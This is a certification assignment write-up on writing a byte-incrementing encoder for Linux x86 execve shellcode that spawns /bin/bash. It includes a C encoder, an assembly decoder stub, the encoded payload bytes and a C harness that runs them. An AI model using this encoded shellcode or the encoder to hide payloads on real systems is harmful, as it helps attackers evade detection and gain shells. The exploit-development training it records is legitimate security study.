This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1290
Assignment:
The assignment scope is to create a custom shellcode encoder for the execve-stack shellcode.
Initial shellcode:
The sample shellcode would be the execve-stack one.
\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
The encoder:
My custom encoder works like this: it takes each byte of the shellcode and increment it by one; so for example the first byte 0x31 would become 0x32, the second byte 0xc0 -> 0xc1, the sixth byte 0x61 -> 0x62 etc…
There is a control, to prevent the case when adding 1 to the byte, it becomes a null byte (The only case is when the primary byte is 0xff); whenever this happens, the byte is manually set to one. During the decoding phase, the 0x1 bytes are then decremented twice to get 0xff back. The decoding phase is pretty simple: the decoder iterates through all the shellcode bytes and decrement them by one ( Always taking into account the 0x1 case).
The generator:
I wrote a small C program that allows to generate encoded shellcodes based on the above schema.
#include <stdio.h> #include <stdlib.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc,char *argv[]){ unsigned char *char_ptr = (char *)shellcode; unsigned char val = 'x'; int i = 1; printf("Original Shellcode:"); while(*char_ptr != '\0'){ val = *char_ptr; printf("\\x%02x",val); char_ptr++; } printf("\n"); char_ptr = shellcode; printf("Encoded Shellcode: "); while(*char_ptr != '\0'){ val = *char_ptr; val++; if(val == 0) val = 1; printf("\\x%02x",val); char_ptr++; i++; } printf("\n"); }
Using the execve-stack shellcode, this program generates:
\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81
The decoder shellcode:
This is the decoder shellcode, which iterates through the encoded one and decodes each byte.
global _start section .text _start: jmp short call_shellcode decoder: pop esi xor ebx,ebx xor ecx,ecx ; moving length of shellcode in cl mov cl,length decode: ; moving current shellcode byte to bl mov bl,byte[esi] decrement: dec bl ; zero-check jz short decrement ;moving updated byte to shellcode mov byte [esi],bl inc esi loop decode jmp short encodedsc call_shellcode: call decoder encodedsc: db 0x32,0xc1,0x51,0x69,0x63,0x62,0x74,0x69,0x69,0x63,0x6a,0x6f,0x30,0x69,0x30,0x30,0x30,0x30,0x8a,0xe4,0x51,0x8a,0xe3,0x54,0x8a,0xe2,0xb1,0x0c,0xce,0x81 length equ $-encodedsc
Let’s dump the shellcode and try it using our shellcode template.
\xeb\x14\x5e\x31\xdb\x31\xc9\xb1\x1e\x8a\x1e\xfe\xcb\x74\xfc\x88\x1e\x46\xe2\xf5\xeb\x05\xe8\xe7\xff\xff\xff\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81
#include <stdio.h> #include <string.h> unsigned char code[] = "\xeb\x14\x5e\x31\xdb\x31\xc9\xb1\x1e\x8a\x1e\xfe\xcb\x74\xfc\x88\x1e\x46\xe2\xf5\xeb\x05\xe8\xe7\xff\xff\xff\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81" ; main() { printf("Shellcode lenght: %d\n",strlen(code)); int (*ret)() = (int(*)())code; ret(); }